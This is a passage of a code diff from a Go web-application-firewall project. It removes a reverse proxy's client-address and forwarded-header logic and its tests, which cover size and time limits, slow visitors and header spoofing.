DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
}
// Write writes line to w as one JSON line marked "type":"request".
func Write(w io.Writer, line *Line) error {
line.Type = "request"
return writeJSONLine(w, line)
}
// WriteRProxyLine writes line to w as one JSON line marked "type":"request".
func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
line.Type = "request"
return writeJSONLine(w, line)
}
// writeJSONLine writes line to w as one JSON line.
func writeJSONLine(w io.Writer, line any) error {
encoded, err := json.Marshal(line)
if err != nil {
return fmt.Errorf("encode the request log line: %w", err)
internal/requestlog/requestlog_test.go
-22
View File
@@ -67,28 +67,6 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
}
}
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
t.Parallel()
var out bytes.Buffer
err := requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{
RequestID: "an-id",
Disposition: "allow",
})
if err != nil {
t.Fatalf("write: %v", err)
}
const want = `{"type":"request","time":"","request_id":"an-id","client_ip":"",` +
`"host":"","method":"","path":"","query":"","status":0,"request_bytes":0,` +
`"response_bytes":0,"duration_request":0,"duration_response":0,` +
`"disposition":"allow"}` + "\n"
if out.String() != want {
t.Errorf("wrote %s, want %s", out.String(), want)
}
}
func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Parallel()
internal/rproxy/client.go
-122
View File
@@ -1,122 +0,0 @@
package rproxy
import (
"net/http"
"net/netip"
"slices"
"strings"
)
// The headers rproxy sets on the requests it passes to the app. Go writes every
// header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn, and Del removes a visitor's own whatever
// their case; header names are not case-sensitive.
const (
requestIDHeader = "X-Request-ID"
asnHeader = "X-Client-Asn"
countryHeader = "X-Client-Country"
)
// peerAddress is the address of the request's TCP peer, normally traefik, without
// any IPv6 zone, which servewaf refuses.
func peerAddress(r *http.Request) netip.Addr {
addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
if err != nil {
return netip.Addr{}
}
return addrPort.Addr().Unmap().WithZone("")
}
// clientAddress works out who the visitor is. A peer outside the trusted
// proxies is the visitor, and what it says in X-Forwarded-For is ignored. For a
// peer inside them, X-Forwarded-For is read from the right, and the first
// address outside them is the visitor; if every address in it is inside, the
// leftmost is, and with no header, the peer. An entry that is not an address
// ends the reading, since nothing to its left can be believed. The visitor's
// address never has an IPv6 zone, which servewaf refuses.
func clientAddress(
peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
) netip.Addr {
client := peer
if !isInside(peer, trusted) {
return client
}
entries := strings.Split(strings.Join(forwardedFor, ","), ",")
for _, entry := range slices.Backward(entries) {
addr, err := netip.ParseAddr(strings.TrimSpace(entry))
if err != nil {
break
}
client = addr.Unmap().WithZone("")
if !isInside(client, trusted) {
break
}
}
return client
}
// scheme is how the visitor reached traefik, as a trusted proxy says in
// X-Forwarded-Proto, or otherwise http, the only scheme rproxy serves.
func scheme(r *http.Request, peerTrusted bool) string {
proto := r.Header.Get("X-Forwarded-Proto")
if !peerTrusted || proto == "" {
return "http"
}
return proto
}
// isInside reports whether addr is in one of the netblocks.
func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
return netblock.Contains(addr)
})
}
// setForwardedHeaders sets the headers in which the app learns about the
// visitor, so that it sees what it would see from traefik directly. A trusted
// proxy's forwarded headers pass on, with the proxy's own address added to
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
// X-Forwarded-Proto plain http, which is how it reached rproxy.
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
forwardedFor := peer.String()
if trusted {
// ReverseProxy removes these from out before Rewrite.
for _, name := range []string{"Forwarded", "X-Forwarded-Host", "X-Forwarded-Proto"} {
values, ok := in.Header[name]
if ok {
out.Header[name] = values
}
}
prior := in.Header.Values("X-Forwarded-For")
if len(prior) > 0 {
forwardedFor = strings.Join(prior, ", ") + ", " + forwardedFor
}
out.Header.Set("X-Forwarded-For", forwardedFor)
return
}
// ReverseProxy has removed Forwarded and the three set below; these are the
// other headers in which traefik tells the app about the visitor and its
// request.
for _, name := range []string{
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
} {
out.Header.Del(name)
}
out.Header.Set("X-Forwarded-For", forwardedFor)
out.Header.Set("X-Forwarded-Host", in.Host)
out.Header.Set("X-Forwarded-Proto", "http")
}
internal/rproxy/limits_test.go
-811
View File
@@ -1,811 +0,0 @@
package rproxy_test
import (
"bytes"
"io"
"log/slog"
"net"
"net/http"
"net/http/httptest"
"strconv"
"strings"
"sync/atomic"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy"
)
// post is the start of a POST whose headers end with what follows it.
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
// announcedLength is the header that announces a body of size bytes, and the
// end of the headers.
func announcedLength(size int) string {
return "Content-Length: " + strconv.Itoa(size) + "\r\n\r\n"
}
func TestServerHasTheFixedLimits(t *testing.T) {
t.Parallel()
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
if name == "SWRP_WAF_BACKEND" {
return nowhere, true
}
return "", false
})
if err != nil {
t.Fatalf("settings: %v", err)
}
server := rproxy.New(rproxy.Params{
Config: cfg,
RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
})
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
t.Errorf("server listens on %q with header limit %d, idle time %s and "+
"header timeout %s", server.Addr, server.MaxHeaderBytes,
server.IdleTimeout, server.ReadHeaderTimeout)
}
}
func TestABodyAnnouncedOverItsLimitIsRefusedOnceServeWAFAllowsIt(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, limit string
size, asked int
}{
{"with the limit within the first part", "1K", 1025, 1024},
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestSize: tc.limit,
})
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size))))
if got.status != http.StatusRequestEntityTooLarge {
t.Errorf("answered %+v, want 413", got)
}
if asked := servewaf.question(t); len(asked.body) != tc.asked {
t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
}
report := servewaf.report(t)
if report.Status != http.StatusRequestEntityTooLarge {
t.Errorf("report %+v, want status 413", report)
}
})
}
}
func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestSize: "1K",
})
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, 1025))))
if got.status != http.StatusForbidden {
t.Errorf("answered %+v, want servewaf's 403", got)
}
}
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, limit string
size int
// mayReachApp is true when the part of the body the limit lets through
// goes on to the app before the limit is met. The app may still not have
// started on the request when it is cut off.
mayReachApp bool
}{
{"within the first part", "1K", 2 << 10, false},
{"past the first part", "128K", 129 << 10, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
var asked atomic.Bool
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
asked.Store(true)
greet(w, r)
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestSize: tc.limit,
})
conn := dial(t, addr)
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
"\r\n0\r\n\r\n")
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
t.Errorf("status %d, want 413", status)
}
if asked.Load() && !tc.mayReachApp {
t.Error("the app was asked")
}
})
}
}
func TestAResponseOverItsLimit(t *testing.T) {
t.Parallel()
large := strings.Repeat("x", 2<<10)
t.Run("announced, is refused", func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(contentLengthHeader, strconv.Itoa(len(large)))
_, _ = io.WriteString(w, large)
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxResponseSize: "1K",
})
got := get(t, addr, "/")
if got.status != http.StatusBadGateway {
t.Errorf("answered %d, want 502", got.status)
}
if report := servewaf.report(t); report.Status != http.StatusBadGateway {
t.Errorf("report %+v, want status 502", report)
}
})
t.Run("not announced, is cut off", func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, large[:1])
_ = http.NewResponseController(w).Flush()
_, _ = io.WriteString(w, large[1:])
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxResponseSize: "1K",
})
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
text, err := io.ReadAll(conn)
if err != nil || bytes.Contains(text, []byte(large)) {
t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
}
report := servewaf.report(t)
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
}
})
}
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
t.Parallel()
const announced = "2048"
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(contentLengthHeader, announced)
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxResponseSize: "1K",
})
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
}
}
func TestASettingOfOffSetsNoLimit(t *testing.T) {
t.Parallel()
for _, setting := range []string{
maxRequestSize, maxResponseSize, maxRequestTime, maxResponseTime,
} {
t.Run(setting, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
setting: "off",
})
// A body and an answer that a limit of zero would cut off, as it would the
// next answer, which rproxy gives itself.
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
strings.NewReader("a body"))))
if got := get(t, addr, proxy.HealthPath); got.status != http.StatusOK {
t.Errorf("answered %+v, want rproxy's own 200", got)
}
})
}
}
func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, rest string
}{
{"with its length announced", announcedLength(100) + "some of it"},
{"with no length announced", "Transfer-Encoding: chunked\r\n\r\na\r\nsome of it\r\n"},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestTime: "500",
})
conn := dial(t, addr)
send(t, conn, post+tc.rest)
if status := readStatus(t, conn); status != http.StatusRequestTimeout {
t.Errorf("status %d, want 408", status)
}
line := out.requestLine(t)
if line["disposition"] != nil || line["request_bytes"] != 10.0 {
t.Errorf("line %v, want no disposition and 10 bytes", line)
}
if len(servewaf.questions) != 0 {
t.Error("servewaf was asked")
}
servewaf.wantNoReport(t)
})
}
}
func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, servewaf.URL, app.URL, nil)
conn := dial(t, addr)
send(t, conn, post+announcedLength(100)+"some of it")
_ = conn.Close()
line := out.requestLine(t)
if line["status"] != 0.0 || line["disposition"] != nil {
t.Errorf("line %v, want no answer and no disposition", line)
}
if len(servewaf.questions) != 0 {
t.Error("servewaf was asked")
}
}
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, request string
stopsSending bool
}{
{
"a malformed chunk", post + "Transfer-Encoding: chunked\r\n\r\nnot a chunk\r\n",
false,
},
{"a visitor that stops sending", post + announcedLength(100) + "some of it", true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, servewaf.URL, app.URL, nil)
conn := dial(t, addr)
send(t, conn, tc.request)
if tc.stopsSending {
tcpConn, ok := conn.(*net.TCPConn)
if !ok {
t.Fatalf("the connection is a %T", conn)
}
err := tcpConn.CloseWrite()
if err != nil {
t.Fatalf("stop sending: %v", err)
}
}
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf("read %q (%v), want the connection closed without an answer",
text, err)
}
line := out.requestLine(t)
if line["status"] != 0.0 || line["disposition"] != nil {
t.Errorf("line %v, want no answer and no disposition", line)
}
if len(servewaf.questions) != 0 {
t.Error("servewaf was asked")
}
})
}
}
// deadlineRecorder notes the time limits rproxy sets on reading the visitor's body
// and on sending its answer.
type deadlineRecorder struct {
*httptest.ResponseRecorder
readDeadline time.Time
writeDeadline time.Time
}
// SetReadDeadline notes deadline.
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
w.readDeadline = deadline
return nil
}
// SetWriteDeadline notes deadline.
func (w *deadlineRecorder) SetWriteDeadline(deadline time.Time) error {
w.writeDeadline = deadline
return nil
}
func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
t.Parallel()
const (
limit = 5 * time.Minute
// announced is over what Go's server reads of a body left unread, so that
// the app's own server answers without waiting for the rest.
announced = 100 * questionBodyMaxBytes
)
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusNoContent)
})
_, _, server := startServer(t, servewaf.URL, app.URL, map[string]string{
maxRequestTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
// The visitor sends the first part and a little more, and then nothing.
stalled, stop := io.Pipe()
t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
req.ContentLength = announced
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now()
server.Handler.ServeHTTP(w, req)
if w.Code != http.StatusNoContent {
t.Errorf("status %d, want the app's 204", w.Code)
}
if w.readDeadline.Before(before.Add(limit)) ||
w.readDeadline.After(time.Now().Add(limit)) {
t.Errorf("the reading of the body ends at %s, want %s from the request",
w.readDeadline, limit)
}
}
func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
t.Parallel()
const limit = 5 * time.Minute
for _, tc := range []struct {
name, target string
status int
}{
{"servewaf's deny", "/", http.StatusForbidden},
{"rproxy's own 400", "x:admin", http.StatusBadRequest},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, deny)
app := startApp(t, greet)
_, _, server := startServer(t, servewaf.URL, app.URL, map[string]string{
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
http.NoBody)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now()
server.Handler.ServeHTTP(w, req)
if w.Code != tc.status {
t.Errorf("status %d, want %d", w.Code, tc.status)
}
if w.writeDeadline.Before(before.Add(limit)) ||
w.writeDeadline.After(time.Now().Add(limit)) {
t.Errorf("the time limit on sending ends at %s, want %s from the answer",
w.writeDeadline, limit)
}
})
}
}
func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestTime: "3000",
})
conn := dial(t, addr)
send(t, conn, post+announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes+1))
if status := readStatus(t, conn); status != http.StatusRequestTimeout {
t.Errorf("status %d, want 408", status)
}
if asked := servewaf.question(t); len(asked.body) != questionBodyMaxBytes {
t.Errorf("the question carries %d bytes", len(asked.body))
}
if report := servewaf.report(t); report.Status != http.StatusRequestTimeout {
t.Errorf("report %+v, want status 408", report)
}
}
// startAppThatTakesNothing starts an app that accepts connections and never
// reads from them, and returns its URL.
func startAppThatTakesNothing(t *testing.T) string {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
stopped := make(chan struct{})
t.Cleanup(func() {
close(stopped)
_ = listener.Close()
})
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
go func() {
<-stopped
_ = conn.Close()
}()
}
}()
return "http://" + listener.Addr().String()
}
func TestAnAppTooSlowToTakeTheRequestIsAnswered504(t *testing.T) {
t.Parallel()
// More than the connections hold while nobody reads, written a little at a
// time, so that rproxy soon waits for the app.
const (
bodySize = 64 << 20
writeSize = 32 << 10
)
servewaf := startServeWAF(t, allow)
addr, _ := startRProxy(t, servewaf.URL, startAppThatTakesNothing(t),
map[string]string{maxRequestTime: "3000"})
conn := dial(t, addr)
send(t, conn, post+announcedLength(bodySize))
go func() {
part := make([]byte, writeSize)
for range bodySize / writeSize {
_, err := conn.Write(part)
if err != nil {
return
}
}
}()
if status := readStatus(t, conn); status != http.StatusGatewayTimeout {
t.Errorf("status %d, want 504", status)
}
}
func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
t.Parallel()
release := make(chan struct{})
servewaf := startServeWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
<-release
})
t.Cleanup(func() { close(release) })
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxResponseTime: "300",
})
got := get(t, addr, "/")
if got.status != http.StatusGatewayTimeout {
t.Errorf("answered %d, want 504", got.status)
}
if report := servewaf.report(t); report.Status != http.StatusGatewayTimeout {
t.Errorf("report %+v, want status 504", report)
}
}
func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
t.Parallel()
release := make(chan struct{})
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, "the start")
_ = http.NewResponseController(w).Flush()
<-release
})
t.Cleanup(func() { close(release) })
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxResponseTime: "300",
})
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
// dial's deadline ends this read with an error if the connection stays open.
_, err := io.ReadAll(conn)
if err != nil {
t.Errorf("read: %v, want the connection closed", err)
}
if report := servewaf.report(t); report.Status != http.StatusOK {
t.Errorf("report %+v, want the status the visitor got", report)
}
}
func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
t.Parallel()
// More than the connections hold while nobody reads.
const (
bodySize = 64 << 20
writeSize = 32 << 10
)
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
part := make([]byte, writeSize)
for range bodySize / writeSize {
_, err := w.Write(part)
if err != nil {
return
}
}
})
addr, out := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxResponseTime: "500",
})
// The visitor asks, and never reads the answer.
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
line := out.requestLine(t)
responseBytes, _ := line["response_bytes"].(float64)
if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
t.Errorf("line %v, want status 200 and the answer cut off", line)
}
report := servewaf.report(t)
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
t.Errorf("report %+v, want status 200 and the answer cut off", report)
}
}
func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
addr, _ := startRProxy(t, servewaf.URL, nowhere, nil)
got := get(t, addr, "/")
if got.status != http.StatusBadGateway {
t.Errorf("answered %d, want 502", got.status)
}
if report := servewaf.report(t); report.Status != http.StatusBadGateway {
t.Errorf("report %+v, want status 502", report)
}
}
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, greeting)
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestTime: "3000",
})
// Far more announced than sent, so that Go's server answers for the app
// without waiting for the rest.
conn := dial(t, addr)
send(t, conn, post+announcedLength(100*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes))
if status := readStatus(t, conn); status != http.StatusOK {
t.Errorf("status %d, want the app's 200", status)
}
}
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
t.Parallel()
working := make(chan struct{})
servewaf := startServeWAF(t, allow)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
close(working)
<-r.Context().Done()
})
addr, out := startRProxy(t, servewaf.URL, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
select {
case <-working:
case <-time.After(waitLimit):
t.Fatal("the app was not asked")
}
tcpConn, ok := conn.(*net.TCPConn)
if !ok {
t.Fatalf("the connection is a %T", conn)
}
err := tcpConn.CloseWrite()
if err != nil {
t.Fatalf("stop sending: %v", err)
}
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
}
if line := out.requestLine(t); line["status"] != 0.0 {
t.Errorf("line %v, want status 0", line)
}
}
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
t.Parallel()
const answer = "the end of a long answer"
servewaf := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
_ = http.NewResponseController(w).Flush()
time.Sleep(2100 * time.Millisecond)
_, _ = io.WriteString(w, answer)
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestTime: "2000",
})
got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
if got.status != http.StatusOK || got.body != answer {
t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
}
}
func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, start string
status int
}{
{"a deny", post, http.StatusForbidden},
{
"the health check",
"GET " + proxy.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
http.StatusOK,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
maxRequestTime: "500",
})
// Go's server waits for a little of the body left before it sends an answer,
// and the time for sending the request ends that wait.
conn := dial(t, addr)
send(t, conn, tc.start+announcedLength(questionBodyMaxBytes+100)+
strings.Repeat("x", questionBodyMaxBytes))
if status := readStatus(t, conn); status != tc.status {
t.Errorf("status %d, want %d", status, tc.status)
}
})
}
}
internal/rproxy/question_test.go
-523
View File
@@ -1,523 +0,0 @@
package rproxy_test
import (
"bytes"
"crypto/rand"
"io"
"maps"
"net/http"
"net/http/httptest"
"slices"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/proxy"
)
// questionBodyMaxBytes is the most of a body a question carries.
const questionBodyMaxBytes = proxy.QuestionBodyMaxBytes
// chunked is the encoding of a body whose length the visitor did not announce.
const chunked = "chunked"
// pathGoReencodes is a path Go's client would decode and escape again, %2F turned
// into / and | into %7C, unless told to send it as it is. A test sets it as the
// visitor's URL.Opaque, so that the visitor sends it unchanged too.
const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, nil)
const target = pathGoReencodes + "?b=2&a=1&bad=%zz;x"
req := newRequest(t, http.MethodDelete, addr, target, http.NoBody)
req.URL.Opaque = pathGoReencodes
req.Host = site
req.Header.Set("X-Test", "from the visitor")
req.Header.Set(forwardedForHeader, "198.51.100.1")
req.Header.Set(forwardedProtoHeader, "gopher")
req.Header.Set(requestIDHeader, "the-visitor's")
req.Header.Set(proxy.ClientHeader, "198.51.100.2")
req.Header.Set(proxy.PeerHeader, "198.51.100.3")
req.Header.Set(proxy.ContentLengthHeader, "12345")
// Go's client then sends no User-Agent, so that one in the question would be
// Go's own.
req.Header["User-Agent"] = nil
wantGreeting(t, visit(t, req))
asked := servewaf.question(t)
if asked.method != http.MethodDelete || asked.target != target ||
asked.host != site {
t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
}
if asked.header.Get(requestIDHeader) == "the-visitor's" {
t.Error("the question carries the visitor's id")
}
// Exactly these: visit's connection has the visitor send Connection: close.
want := http.Header{}
want.Set("Connection", "close")
want.Set("X-Test", "from the visitor")
want.Set(forwardedForHeader, "198.51.100.1")
want.Set(forwardedProtoHeader, "http")
want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
want.Set(proxy.ClientHeader, localhost)
want.Set(proxy.PeerHeader, localhost)
if !maps.EqualFunc(asked.header, want, slices.Equal) {
t.Errorf("the question's headers are %v, want %v", asked.header, want)
}
}
func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
t.Parallel()
const visitor = "203.0.113.9"
for _, tc := range []struct {
name, trusted, client, proto, forwarded string
}{
{
"from a trusted proxy", localhost + "/32", visitor, "https",
visitor + ", " + localhost,
},
{"from a peer not trusted", "10.0.0.0/8", localhost, "http", localhost},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
forwarded := make(chan http.Header, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
forwarded <- r.Header.Clone()
greet(w, r)
})
addr, out := startRProxy(t, servewaf.URL, app.URL, map[string]string{
trustedProxies: tc.trusted,
})
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedForHeader, visitor)
req.Header.Set(forwardedProtoHeader, "https")
wantGreeting(t, visit(t, req))
asked := servewaf.question(t)
if asked.header.Get(proxy.ClientHeader) != tc.client ||
asked.header.Get(proxy.PeerHeader) != localhost ||
asked.header.Get(forwardedForHeader) != visitor ||
asked.header.Get(forwardedProtoHeader) != tc.proto {
t.Errorf("the question's headers are %v", asked.header)
}
if line := out.requestLine(t); line["client_ip"] != tc.client {
t.Errorf("line %v, want client_ip %s", line, tc.client)
}
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
}
})
}
}
func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
header []string
client string
}{
{
"the first address outside the trusted proxies, from the right",
[]string{"198.51.100.7, 203.0.113.9, 10.0.0.2"}, "203.0.113.9",
},
{
"the leftmost, when every address is a trusted proxy",
[]string{"10.0.0.5, 10.0.0.2"}, "10.0.0.5",
},
{"the peer, with no header", nil, localhost},
{
"the last address read, before an entry that is not an address",
[]string{"203.0.113.9, unknown, 10.0.0.2"}, "10.0.0.2",
},
{
"read as one list, with several header lines",
[]string{"2001:db8::7", "10.0.0.2"}, "2001:db8::7",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8",
})
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header[forwardedForHeader] = tc.header
wantGreeting(t, visit(t, req))
if got := servewaf.question(t).header.Get(proxy.ClientHeader); got != tc.client {
t.Errorf("the question names %s, want %s", got, tc.client)
}
})
}
}
// randomBytes returns n random bytes.
func randomBytes(n int) []byte {
body := make([]byte, n)
_, _ = rand.Read(body) // it never returns an error
return body
}
func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Parallel()
for _, size := range []int{
1, questionBodyMaxBytes - 1, questionBodyMaxBytes, questionBodyMaxBytes + 1,
5 * questionBodyMaxBytes,
} {
for _, announced := range []bool{true, false} {
name := strconv.Itoa(size) + " bytes, length announced: " +
strconv.FormatBool(announced)
t.Run(name, func(t *testing.T) {
t.Parallel()
body := randomBytes(size)
